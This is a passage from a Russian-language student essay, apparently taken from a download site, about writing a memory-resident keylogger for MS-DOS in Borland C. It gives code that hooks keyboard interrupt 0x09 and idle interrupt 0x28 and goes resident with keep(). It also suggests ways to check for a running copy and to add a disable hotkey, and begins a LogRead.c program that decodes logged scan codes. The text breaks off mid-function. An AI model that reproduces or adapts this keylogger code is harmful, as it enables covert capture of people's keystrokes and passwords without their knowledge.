Реферат: Кейлоггер под MS-DOS

oldhdl(); // А теперь вызываем старый обработчик прерывания от клавы

}

Если происходит прерывание 0x09, то вызываться должен обработчик newhdl(). Он считывает нажатую (или отпущенную) клавишу в symbol и ставит свой флаг flag в еденичку. При следующем вызове прерывания 0x28 запустится функция newhdl_28(), которая, сверяясь с флагом flag, при необходимости, пишет symbol в файл на диске. Естественно, нам ещё надо будет объявить указатели на функции oldhdl и oldhdl_28, считать в них значения, указывающие на старые обработчики прерываний 0x09 и 0x28 соответственно, и установить в качестве новых обработчиков newhdl() и newhdl_28(). Всё это нужно сделать в функции main() и, разумеется, до вызова keep(). Переменные symbol и flag также должны быть объявлены и преравнены нулю (если этого не сделать, возможны сбои). Если будем проверять флаг занятости ДОС, необходимо объявить указатель на тот самый флаг занятости, вызвать прерывание 0x21 с регистром AH=0x34 и записав в этот указатель значение ES:BX, т.е. DOSflag=MK_FP(_ES,_BX). После этого можем им пользоваться при проверке.

int main()

{

_AH=0x34;

asm int 0x21;

DOSflag = MK_FP(_ES, _BX); // Получили флаг занятости дос по указателю DOSflag

oldhdl=getvect(0x09);

oldhdl_28=getvect(0x28); // Плучили адреса старых обработчиков прерываний 0x09 и 0x28

setvect(0x09, newhdl);

setvect(0x28, newhdl_28); // Установили свои обработчики на прерывания 0x09 и 0x28

keep(0, _SS+(_SP/16)-_psp); // Провозгласили себя резидентом

return 0;

}

Ну вот, осталось только объявить нужные переменные и дописать функцию записи в файл в обработчике newhdl_28() (и при необходимости добавить проверку занятости ДОС, как было описано выше). А в остальном прога готова. Если хочется сделать её ещё круче, то можно при старте добавить проверку того, не запущена ли она уже. Для этого есть много способов, но я рекомендую повеситься ещё на одно прерывание, и при обращении к нему обработчик (если он есть) вернёт нам в регистрах какой-нибудь свой идентификатор. Так мы удостоверимся, что он жив-здоров, а следовательно, и наш кейлоггер уже живёт где-то в памяти. Если обработчик не ответит, значит и кейлоггера нет. А при хитрой комбинации клавиш (например Ctrl+F12) можно добавить функцию отключения проги, если вдруг приспичет. Но это всё мелкие доработки, которые в любом случае не повлияют на процесс ведения статистики нажатых клавиш.

ЧАСТЬ 5. Читаем скэн-коды из логов

Представим, что кейлоггер дописан и работает. Он сохраняет скэн-коды нажатых клавиш в файл как простой ряд чисел, не производя шифрование. Теперь не плохо бы перевести этот файл в удобочитаемый вид. Для этого предлагается использовать отдельную программу, которая должна читать скэн-коды и переводить их в символы.

// LogRead.c (компилится в Borland C++ v3.1 и не только)

#include < stdio.h >

#define FILENAME "c:\\keys.dat"

FILE *in;

unsigned char scancode;

char str[128];

void convert(unsigned char scancode, char *str) // Функцияпреобразуетскэн-кодвстрокусописаниемсимвола

{

if(scancode>128)

{

sprintf(str, "[Released]");

К-во Просмотров: 445
Бесплатно скачать Реферат: Кейлоггер под MS-DOS